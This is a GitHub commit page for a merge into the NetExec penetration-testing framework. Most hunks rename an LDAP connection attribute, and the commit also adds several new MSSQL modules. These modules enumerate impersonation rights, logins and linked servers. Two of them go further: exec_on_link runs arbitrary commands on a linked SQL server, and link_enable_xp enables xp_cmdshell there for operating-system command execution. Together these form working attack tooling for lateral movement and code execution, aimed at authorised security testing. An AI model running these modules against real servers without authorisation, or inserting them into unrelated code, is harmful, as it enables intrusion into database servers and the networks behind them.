Skip to content

Commit

Permalink
Merge branch 'main' into patch-8
Browse files Browse the repository at this point in the history
  • Loading branch information
mpgn authored Dec 31, 2024
2 parents a9ef92b + 131e29e commit fbd4e1a
Show file tree
Hide file tree
Showing 40 changed files with 965 additions and 258 deletions.
2 changes: 1 addition & 1 deletion nxc/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -384,7 +384,7 @@ def parse_credentials(self):
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
Expand Down
6 changes: 3 additions & 3 deletions nxc/modules/adcs.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,10 +49,10 @@ def on_login(self, context, connection):

try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn

if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
Expand All @@ -61,7 +61,7 @@ def on_login(self, context, connection):
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
Expand Down
4 changes: 2 additions & 2 deletions nxc/modules/daclread.py
Original file line number Diff line number Diff line change
Expand Up @@ -274,8 +274,8 @@ def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection

# Searching for the principal SID
if self.principal_sAMAccountName is not None:
Expand Down
46 changes: 46 additions & 0 deletions nxc/modules/enum_impersonate.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""

name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")

def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
53 changes: 53 additions & 0 deletions nxc/modules/enum_links.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""

name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def options(self, context, module_options):
pass

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")

def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")

def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
40 changes: 40 additions & 0 deletions nxc/modules/enum_logins.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
"""

name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")

def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
2 changes: 1 addition & 1 deletion nxc/modules/enum_trusts.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ def on_login(self, context, connection):
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]

context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)

trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
Expand Down
42 changes: 42 additions & 0 deletions nxc/modules/exec_on_link.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""

name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False

def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None

def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return

self.execute_on_link()

def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
2 changes: 1 addition & 1 deletion nxc/modules/find-computer.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ def on_login(self, context, connection):

try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/get-desc-users.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ def on_login(self, context, connection):

try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/get-network.py
Original file line number Diff line number Diff line change
Expand Up @@ -121,7 +121,7 @@ def on_login(self, context, connection):
sfilter = "(DC=*)"

try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/get-unixUserPassword.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ def on_login(self, context, connection):

try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/get-userPassword.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ def on_login(self, context, connection):

try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/group-mem.py
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ def on_login(self, context, connection):
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/groupmembership.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ def on_login(self, context, connection):

try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
Expand Down
63 changes: 63 additions & 0 deletions nxc/modules/link_enable_xp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""

name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False

def __init__(self):
self.action = None
self.linked_server = None

def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return

# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")

def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")

def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")

def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
Loading

0 comments on commit fbd4e1a

Please sign in to comment.